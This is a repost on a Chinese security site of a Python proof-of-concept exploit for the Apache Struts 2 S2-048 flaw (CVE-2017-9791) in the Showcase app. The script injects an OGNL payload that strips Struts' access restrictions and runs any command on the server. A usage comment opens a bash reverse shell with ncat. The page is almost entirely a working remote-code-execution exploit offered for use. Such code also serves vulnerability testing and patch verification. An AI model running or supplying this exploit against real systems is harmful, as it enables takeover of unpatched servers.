首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Apache Struts 2.3.x Showcase - Remote Code Execution (PoC)
来源:vfocus.net 作者:Vex Woo 发布时间:2017-07-17  
#!/usr/bin/python
# -*- coding: utf-8 -*-
 
# Just a demo for CVE-2017-9791
 
 
import requests
 
 
def exploit(url, cmd):
    print("[+] command: %s" % cmd)
 
    payload = "%{"
    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?(#_memberAccess=#dm):"
    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear())."
    payload += "(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm))))."
    payload += "(@java.lang.Runtime@getRuntime().exec('%s'))" % cmd
    payload += "}"
 
    data = {
        "name": payload,
        "age": 20,
        "__checkbox_bustedBefore": "true",
        "description": 1
    }
 
    headers = {
        'Referer': 'http://127.0.0.1:8080/2.3.15.1-showcase/integration/editGangster'
    }
    requests.post(url, data=data, headers=headers)
 
 
if __name__ == '__main__':
    import sys
 
    if len(sys.argv) != 3:
        print("python %s <url> <cmd>" % sys.argv[0])
        sys.exit(0)
 
    print('[*] exploit Apache Struts2 S2-048')
    url = sys.argv[1]
    cmd = sys.argv[2]
 
    exploit(url, cmd)
 
    # $ ncat -v -l -p 4444 &
    # $ python exploit_S2-048.py http://127.0.0.1:8080/2.3.15.1-showcase/integration/saveGangster.action "ncat -e /bin/bash 127.0.0.1 4444"
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Yahoo! Messenger Webcam 8.1 Ac
·Apache 2.2.0 - 2.2.11 Remote e
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
·HT Editor File openning Stack
  相关文章
·Counter Strike: Condition Zero
·PyCharm 2-0 / 2017 Buffer Over
·Skype for Business 2016 - Cros
·RaidenHTTPD 2.0.44 User-Agent
·IBM Informix 12.10 DB-Access B
·Microsoft Windows Windows 7/8.
·WMI Event Subscription Persist
·DNS/DNSSEC RR Stub Resolver De
·Easy File Sharing Web Server 7
·Yaws 1.91 - Remote File Disclo
·Firefox 54.0.1 - Denial of Ser
·IoT mDNS/DNS-SD QM Amplificati
  推荐广告
CopyRight © 2002-2017 VFocuS.Net All Rights Reserved